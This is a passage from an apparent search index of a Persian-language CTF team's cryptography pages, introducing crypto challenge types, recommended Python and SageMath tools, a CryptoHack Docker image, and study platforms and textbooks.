\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0628\u0647 \u0647\u0646\u0631 \u0646\u0648\u0634\u062a\u0646 \u0631\u0645\u0632\u0647\u0627 \u0648 \u06a9\u062f\u0647\u0627\u06cc \u0645\u062e\u0641\u06cc \u06af\u0641\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0631\u0645\u0632\u0647\u0627\u06cc \u0639\u0628\u0648\u0631\u060c \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u0627\u0646\u06a9\u06cc\u060c \u0627\u0631\u0633\u0627\u0644 \u0648 \u062f\u0631\u06cc\u0627\u0641\u062a \u067e\u06cc\u0627\u0645 \u062f\u0631 \u067e\u06cc\u0627\u0645\u200c\u0631\u0633\u0627\u0646\u200c\u0647\u0627 \u0648 \u0647\u0631 \u0686\u06cc\u0632\u06cc \u06a9\u0647 \u0634\u0627\u0645\u0644 \u0627\u0646\u062a\u0642\u0627\u0644 \u0648 \u0630\u062e\u06cc\u0631\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a\u06cc \u0627\u0645\u0631\u0648\u0632 \u0628\u0627\u0634\u062f \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0627\u0631\u062f. \u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u0647\u06cc\u0686 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u06cc\u0627 \u0633\u06cc\u0633\u062a\u0645\u06cc \u06a9\u0627\u0645\u0644\u0627 \u0627\u0645\u0646 \u0646\u06cc\u0633\u062a\u060c \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f (\u0645\u062a\u0642\u0627\u0631\u0646\u060c \u0646\u0627\u0645\u062a\u0642\u0627\u0631\u0646\u060c \u0627\u0645\u0636\u0627\u06cc \u062f\u06cc\u062c\u06cc\u062a\u0627\u0644) \u0646\u06cc\u0632 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062f\u0627\u0631\u0627\u06cc \u0646\u0642\u0635\u200c\u0647\u0627\u06cc\u06cc \u0628\u0627\u0634\u0646\u062f. \u0647\u062f\u0641 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627\u06cc CTF \u0627\u06cc\u062c\u0627\u062f \u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0627 \u0627\u06cc\u0646 \u0646\u0642\u0635\u200c\u0647\u0627 \u0648 \u0628\u0627\u0644\u0627 \u0628\u0631\u062f\u0646 \u062f\u0627\u0646\u0634 \u0627\u0641\u0631\u0627\u062f \u062f\u0631 \u0632\u0645\u06cc\u0646\u0647 \u0645\u0641\u0627\u0647\u06cc\u0645 \u067e\u0627\u06cc\u0647\u200c\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u06cc\u0639\u0646\u06cc \u0645\u0628\u0627\u062d\u062b \u0631\u06cc\u0627\u0636\u06cc \u0622\u0646\u200c\u0647\u0627 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0634\u0627\u0645\u0644 \u0634\u06a9\u0633\u062a\u0646 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u060c \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0645\u062a\u0648\u0646 \u0631\u0645\u0632\u06cc \u06cc\u0627 \u062f\u0648\u0631 \u0632\u062f\u0646 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627 \u0648 \u067e\u0631\u0648\u062a\u06a9\u0644\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u062f\u0631\u0633\u062a\u06cc \u067e\u06cc\u0627\u062f\u0647 \u0646\u0634\u062f\u0647\u200c\u0627\u0646\u062f. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u062a\u0646\u0647\u0627 \u0628\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0627\u062f\u0631\u0633\u062a \u0627\u0632 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u06cc\u200c\u067e\u0631\u062f\u0627\u0632\u0646\u062f \u06a9\u0647 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062f\u0627\u0646\u0634 \u0639\u0645\u06cc\u0642\u06cc \u0627\u0632 \u0631\u0648\u0627\u0628\u0637 \u0631\u06cc\u0627\u0636\u06cc \u0622\u0646\u0647\u0627 \u0646\u062f\u0627\u0631\u062f.

","tags":["\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 CTF","\u0627\u0646\u0648\u0627\u0639 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc"]},{"location":"crypto/#ctf","title":"\u0627\u0646\u0648\u0627\u0639 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 CTF","text":"

\u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645\u200c\u0647\u0627 \u0648 \u0637\u0631\u062d\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0627\u0631\u0627\u06cc \u0627\u0646\u0648\u0627\u0639 \u0645\u062e\u062a\u0644\u0641\u06cc \u0647\u0633\u062a\u0646\u062f. \u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646 \u062c\u0627 \u0641\u0627\u0631\u063a \u0627\u0632 \u0646\u0648\u0639 \u0648 \u06a9\u0627\u0631\u0628\u0631\u062f \u0622\u0646\u200c\u0647\u0627\u060c \u062a\u0646\u0647\u0627 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0631\u0627 \u0628\u0647 \u062f\u0648 \u062f\u0633\u062a\u0647 \u06a9\u0644\u06cc \u062a\u0642\u0633\u06cc\u0645 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645:

","tags":["\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 CTF","\u0627\u0646\u0648\u0627\u0639 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc"]},{"location":"crypto/#-","title":"\u06f1- \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0645\u0641\u0627\u0647\u06cc\u0645 \u0631\u06cc\u0627\u0636\u06cc","text":"

\u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0635\u0631\u0641\u0627 \u0628\u0647 \u0645\u0641\u0627\u0647\u06cc\u0645 \u067e\u0627\u06cc\u0647\u200c\u0627\u06cc \u0631\u06cc\u0627\u0636\u06cc \u0645\u062a\u0645\u0631\u06a9\u0632 \u0647\u0633\u062a\u0646\u062f \u0648 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062d\u0644 \u06cc\u06a9 \u0645\u0633\u0626\u0644\u0647 \u0631\u06cc\u0627\u0636\u06cc \u0628\u0631\u0627\u06cc \u0622\u0646 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0627\u0631\u0646\u062f. \u0628\u0631\u0627\u06cc \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u067e\u0631\u0686\u0645 \u062f\u0631 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u060c \u0634\u0645\u0627 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062f\u0627\u0634\u062a\u0646 \u062f\u0627\u0646\u0634 \u06a9\u0627\u0641\u06cc \u062f\u0631 \u0645\u0628\u0627\u062d\u062b \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u0627\u0646\u0646\u062f \u0645\u062d\u0627\u0633\u0628\u0627\u062a \u067e\u06cc\u0645\u0627\u0646\u0647\u200c\u0627\u06cc\u060c \u0644\u06af\u0627\u0631\u06cc\u062a\u0645\u200c\u0647\u0627\u06cc \u06af\u0633\u0633\u062a\u0647\u060c \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u0686\u0646\u062f\u062c\u0645\u0644\u0647\u200c\u0627\u06cc\u060c \u0645\u0646\u062d\u0646\u06cc\u200c\u0647\u0627\u06cc \u0628\u06cc\u0636\u0648\u06cc \u0648 \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0645\u0634\u0628\u06a9\u0647 (Lattice) \u062f\u0627\u0631\u06cc\u062f.

","tags":["\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 CTF","\u0627\u0646\u0648\u0627\u0639 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc"]},{"location":"crypto/#-_1","title":"\u06f2- \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u062e\u0637\u0627\u06cc \u067e\u06cc\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc","text":"

\u0628\u0631\u062e\u06cc \u0627\u0648\u0642\u0627\u062a \u0646\u0641\u0648\u0630\u0647\u0627 \u0648 \u0634\u06a9\u0633\u062a\u0646 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u06cc\u06a9 \u0633\u0627\u0645\u0627\u0646\u0647 \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0646\u0642\u0635 \u062f\u0631 \u062e\u0648\u062f \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0646\u06cc\u0633\u062a \u0628\u0644\u06a9\u0647 \u0639\u062f\u0645 \u062a\u062c\u0631\u0628\u0647 \u06a9\u0627\u0641\u06cc \u062f\u0631 \u0628\u06a9\u0627\u0631\u06af\u06cc\u0631\u06cc \u062f\u0631\u0633\u062a \u0627\u06cc\u0646 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645\u200c\u0647\u0627\u060c \u0633\u0628\u0628 \u0627\u06cc\u062c\u0627\u062f \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u06cc\u06a9 \u0633\u0627\u0645\u0627\u0646\u0647 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u062f\u0631 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u060c \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062f\u0627\u0646\u0634 \u0639\u0645\u06cc\u0642 \u062f\u0631 \u0645\u0648\u0631\u062f \u0622\u0646 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0646\u06cc\u0633\u062a \u0648 \u062a\u0646\u0647\u0627 \u06a9\u0627\u0641\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0646\u0642\u0635 \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0631\u0627 \u06a9\u0634\u0641 \u0648 \u0627\u0632 \u0622\u0646 \u0628\u0631\u0627\u06cc \u062f\u0648\u0631 \u0632\u062f\u0646 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645.

\u0627\u06af\u0631\u0686\u0647 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c \u0634\u0627\u06cc\u062f \u0628\u062e\u0627\u0637\u0631 \u0631\u0648\u0627\u0628\u0637 \u0631\u06cc\u0627\u0636\u06cc \u067e\u0634\u062a \u0622\u0646 \u062f\u0634\u0648\u0627\u0631 \u0628\u0646\u0638\u0631 \u0628\u0631\u0633\u062f\u060c \u0627\u0645\u0627 \u0646\u0628\u0627\u06cc\u062f \u0627\u0632 \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u062f\u0644\u0633\u0631\u062f \u0634\u062f \u0632\u06cc\u0631\u0627 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u062a\u0646\u0647\u0627 \u0628\u0647 \u0645\u0628\u0627\u062d\u062b \u0631\u06cc\u0627\u0636\u06cc \u0646\u0645\u06cc\u200c\u067e\u0631\u062f\u0627\u0632\u062f. \u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0645\u0627 \u0633\u0639\u06cc \u06a9\u0631\u062f\u06cc\u0645 \u0631\u0648\u06cc \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u062d\u0648\u0632\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc CTF\u0647\u0627 \u0645\u062a\u0645\u0631\u06a9\u0632 \u0634\u0648\u06cc\u0645 \u0648 \u0645\u0646\u0627\u0628\u0639 \u0645\u062e\u062a\u0644\u0641 \u0628\u0631\u0627\u06cc \u0634\u0631\u0648\u0639 \u0648 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0631\u0627 \u0645\u0639\u0631\u0641\u06cc \u06a9\u0646\u06cc\u0645. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631\u0647\u0627 \u0648 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc \u0645\u0641\u06cc\u062f\u06cc \u06a9\u0647 \u0628\u0647 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0631\u0627 \u0645\u0639\u0631\u0641\u06cc \u062e\u0648\u0627\u0647\u06cc\u0645 \u06a9\u0631\u062f. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u200c\u0647\u0627\u060c \u0631\u0627\u06cc\u062a\u0627\u067e \u0628\u0631\u062e\u06cc \u0627\u0632 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u06a9\u0647 \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0645\u062e\u062a\u0644\u0641 \u0634\u0631\u06a9\u062a \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u062e\u0648\u0627\u0647\u06cc\u0645 \u06a9\u0631\u062f \u062a\u0627 \u0627\u0641\u0631\u0627\u062f \u0639\u0644\u0627\u0642\u0647\u200c\u0645\u0646\u062f \u0628\u0647 \u067e\u06cc\u0634\u0631\u0641\u062a \u062f\u0631 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u06a9\u0645\u06a9 \u06a9\u0646\u062f.

","tags":["\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 CTF","\u0627\u0646\u0648\u0627\u0639 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc"]},{"location":"crypto/Tools/","title":"\u0627\u0632 \u0686\u0647 \u0627\u0628\u0632\u0627\u0631\u06cc \u0628\u0647\u062a\u0631\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645\u061f","text":""},{"location":"crypto/Tools/#python","title":"Python","text":"

\u0627\u06a9\u062b\u0631 \u0686\u0627\u0644\u0634\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0627\u0647\u0627\u0634\u0648\u0646 \u0633\u0631 \u0648 \u06a9\u0627\u0631 \u062f\u0627\u0631\u06cc\u0645 \u0628\u0647 \u0627\u06cc\u0646 \u0632\u0628\u0627\u0646 \u0646\u0648\u0634\u062a\u0647 \u0634\u062f\u0646\u062f. \u067e\u0627\u06cc\u062a\u0648\u0646 \u06cc\u06a9 \u0632\u0628\u0627\u0646 \u0641\u0648\u0642 \u0627\u0644\u0639\u0627\u062f\u0647 \u0628\u0631\u0627\u06cc \u0646\u0645\u0648\u0646\u0647 \u0633\u0627\u0632\u06cc \u0633\u0631\u06cc\u0639 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0627\u0633\u062a. \u0642\u0627\u0628\u0644 \u062e\u0648\u0627\u0646\u062f\u0646 \u0627\u0633\u062a \u0648 \u0627\u0632 \u0627\u0639\u062f\u0627\u062f \u0635\u062d\u06cc\u062d \u0628\u0632\u0631\u06af \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc \u06a9\u0646\u062f.

\u067e\u06a9\u06cc\u062c \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u0645\u06cc\u0634\u0647 \u0646\u0635\u0628 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f:

\u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0645\u06cc\u062a\u0648\u0646\u0647 \u0628\u0647 \u0633\u0627\u062f\u06af\u06cc \u0628\u0627 \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0627\u0646\u062c\u0627\u0645 \u0628\u0634\u0648\u062f:

> pip install PyCryptodome gmpy2 pwntools\n
"},{"location":"crypto/Tools/#sagemath","title":"SageMath","text":"

\u0633\u06cc\u0633\u062a\u0645\u06cc \u0628\u0627 \u0648\u06cc\u0698\u06af\u06cc \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u062c\u0646\u0628\u0647 \u0647\u0627\u06cc \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0627\u0632 \u062c\u0645\u0644\u0647 \u062c\u0628\u0631\u060c \u062a\u0631\u06a9\u06cc\u0628\u0627\u062a\u060c \u0646\u0638\u0631\u06cc\u0647 \u06af\u0631\u0627\u0641\u060c \u0646\u0638\u0631\u06cc\u0647 \u06af\u0631\u0648\u0647\u060c \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0639\u062f\u062f\u06cc\u060c \u0646\u0638\u0631\u06cc\u0647 \u0627\u0639\u062f\u0627\u062f\u060c \u062d\u0633\u0627\u0628 \u062f\u06cc\u0641\u0631\u0627\u0646\u0633\u06cc\u0644 \u0648 \u0627\u0646\u062a\u06af\u0631\u0627\u0644 \u0648 \u0622\u0645\u0627\u0631 \u0631\u0627 \u067e\u0648\u0634\u0634 \u0645\u06cc \u062f\u0647\u062f \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u06cc\u0646 \u0633\u06cc\u0633\u062a\u0645 \u0645\u0646\u0628\u0639 \u0628\u0627\u0632 \u062f\u0627\u0631\u0627\u06cc \u067e\u06cc\u0634\u0631\u0641\u062a\u0647 \u062a\u0631\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0628\u0627 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0627\u0632 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u062f\u0631\u0646 \u0627\u0633\u062a \u0648 \u0628\u0631 \u0631\u0648\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.

"},{"location":"crypto/Tools/#cryptohack-docker-image","title":"CryptoHack Docker Image","text":"

\u0627\u06af\u0631 Docker \u0631\u0648 \u0646\u0635\u0628 \u062f\u0627\u0631\u06cc\u062f \u0641\u0642\u0637 \u06a9\u0627\u0641\u06cc\u0647 \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0631\u0648 \u062a\u0648\u06cc \u062a\u0631\u0645\u0646\u06cc\u0627\u0644 \u0627\u062c\u0631\u0627 \u06a9\u0646\u06cc\u062f (\u0627\u06cc\u0646 Docker Image \u062a\u0648\u0633\u0637 \u062a\u06cc\u0645 CryptoHack.org \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0648 \u062a\u0642\u0631\u06cc\u0628\u0627 \u0647\u0631 \u0686\u06cc\u0632\u06cc \u06a9\u0647 \u0644\u0627\u0632\u0645 \u062f\u0627\u0631\u06cc\u062f \u0631\u0648 \u062f\u0631\u0648\u0646\u0634 \u062f\u0627\u0631\u0647):

> docker run -p 127.0.0.1:8888:8888 -it hyperreality/cryptohack:latest\n
"},{"location":"crypto/Tools/#_2","title":"\u0644\u06cc\u0646\u06a9 \u0647\u0627\u06cc \u0645\u0641\u06cc\u062f","text":"

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

\u062a\u06cc\u0645 \u0641\u0644\u06af \u0645\u0648\u062a\u0648\u0631\u06cc

"},{"location":"crypto/source/","title":"\u0645\u0646\u0627\u0628\u0639 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","text":"

\u0631\u0627\u0633\u062a\u0634 \u062a\u0627 \u062f\u0644\u062a\u0648\u0646 \u0628\u062e\u0648\u0627\u062f \u0645\u0627 \u06a9\u062a\u0627\u0628 \u0648 \u0648\u06cc\u062f\u0626\u0648 \u0622\u0645\u0648\u0632\u0634\u06cc \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0641\u0642\u0637 \u0628\u0627 \u06cc\u06a9 \u062c\u0633\u062a\u062c\u0648 \u0633\u0627\u062f\u0647 \u062a\u0648\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0645\u06cc\u062a\u0648\u0646\u06cc\u062f \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u062f. \u0648\u0644\u06cc \u062e\u0628 \u06cc\u06a9\u0633\u0631\u06cc \u0645\u0646\u0627\u0628\u0639 \u0647\u0633\u062a\u0646 \u06a9\u0647 \u062e\u06cc\u0644\u06cc \u0645\u0639\u0631\u0648\u0641 \u0648 \u062e\u0648\u062f\u0645\u0648\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u06cc\u0645 \u0648 \u06af\u0641\u062a\u06cc\u0645 \u0686\u0642\u062f\u0631 \u062e\u0648\u0628 \u0645\u06cc\u0634\u0647 \u0628\u0627 \u0634\u0645\u0627 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u0632\u0627\u0631\u06cc\u0645 :)

"},{"location":"crypto/source/#_2","title":"\u067e\u0644\u062a\u0641\u0631\u0645 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0648 \u062d\u0644 \u0686\u0627\u0644\u0634\u0647\u0627","text":""},{"location":"crypto/source/#cryptohack","title":"CryptoHack","text":""},{"location":"crypto/source/#cryptopals","title":"Cryptopals","text":""},{"location":"crypto/source/#rootme","title":"RootMe","text":""},{"location":"crypto/source/#_3","title":"\u0648\u06cc\u062f\u0626\u0648 \u0647\u0627\u06cc \u0622\u0645\u0648\u0632\u0634\u06cc","text":""},{"location":"crypto/source/#neso-academy","title":"Neso Academy","text":""},{"location":"crypto/source/#_4","title":"\u0645\u0639\u0631\u0641\u06cc \u06a9\u062a\u0627\u0628","text":"

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

\u062a\u06cc\u0645 \u0641\u0644\u06af \u0645\u0648\u062a\u0648\u0631\u06cc

"},{"location":"crypto/source/#cryptography-and-network-security-by-behrouz-forouzan","title":"Cryptography and Network Security by Behrouz Forouzan","text":"

\u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628 \u0627\u0632 \u06cc\u06a9 \u0631\u0648\u06cc\u06a9\u0631\u062f \u0642\u062f\u0645 \u0628\u0647 \u0642\u062f\u0645 \u0628\u0631\u0627\u06cc \u0622\u0645\u0648\u0632\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0627\u0645\u0646\u06cc\u062a \u0634\u0628\u06a9\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u062f. \u0634\u0645\u0627 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627\u06cc \u06a9\u0627\u0631 \u0628\u0647 \u0647\u06cc\u0686 \u062f\u0627\u0646\u0634 \u0631\u06cc\u0627\u0636\u06cc \u062e\u0627\u0635\u06cc \u0645\u0627\u0646\u0646\u062f \u0646\u0638\u0631\u06cc\u0647 \u0627\u0639\u062f\u0627\u062f \u06cc\u0627 ... \u0646\u06cc\u0627\u0632 \u0646\u062f\u0627\u0631\u06cc\u062f \u0686\u0631\u0627 \u06a9\u0647 \u062f\u0631 \u0637\u0648\u0644 \u0645\u0637\u0627\u0644\u0639\u0647 \u06a9\u062a\u0627\u0628 \u0627\u0648\u0646 \u0631\u0648 \u0628\u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u062f\u060c \u0627\u0632 \u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0627\u0645\u0646\u06cc\u062a \u0634\u0628\u06a9\u0647 \u0631\u0627 \u0646\u0645\u06cc \u062a\u0648\u0627\u0646 \u0628\u062f\u0648\u0646 \u067e\u06cc\u0634\u06cc\u0646\u0647 \u062f\u0631 \u0632\u0645\u06cc\u0646\u0647 \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0645\u0648\u0631\u062f \u0628\u062d\u062b \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u060c \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639\u0627\u062a \u062f\u0631 \u0641\u0635\u0644 \u0647\u0627\u06cc 2\u060c 4 \u0648 9 \u0645\u0648\u0631\u062f \u0628\u062d\u062b \u0642\u0631\u0627\u0631 \u0645\u06cc \u06af\u06cc\u0631\u0646\u062f. \u062e\u0648\u0627\u0646\u0646\u062f\u06af\u0627\u0646\u06cc \u06a9\u0647 \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0648\u0632\u0647 \u0647\u0627\u06cc \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0622\u0634\u0646\u0627 \u0647\u0633\u062a\u0646\u062f \u0645\u06cc \u062a\u0648\u0627\u0646\u0646\u062f \u0627\u06cc\u0646 \u0641\u0635\u0644 \u0647\u0627 \u0631\u0627 \u0646\u0627\u062f\u06cc\u062f\u0647 \u0628\u06af\u06cc\u0631\u0646\u062f. \u0641\u0635\u0644 1 \u062a\u0627 15 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0631\u0627 \u0645\u0648\u0631\u062f \u0628\u062d\u062b \u0642\u0631\u0627\u0631 \u0645\u06cc \u062f\u0647\u062f. \u062f\u0631 \u0636\u0645\u0646 \u0641\u0635\u0644 \u0647\u0627\u06cc 16 \u062a\u0627 18 \u0627\u0645\u0646\u06cc\u062a \u0634\u0628\u06a9\u0647 \u0645\u0648\u0631\u062f \u0628\u062d\u062b \u0642\u0631\u0627\u0631 \u0645\u06cc \u06af\u06cc\u0631\u062f.

"},{"location":"crypto/source/#an-introduction-to-mathematical-cryptography-by-jeffrey-hoffstein","title":"An Introduction to Mathematical Cryptography by Jeffrey Hoffstein","text":"

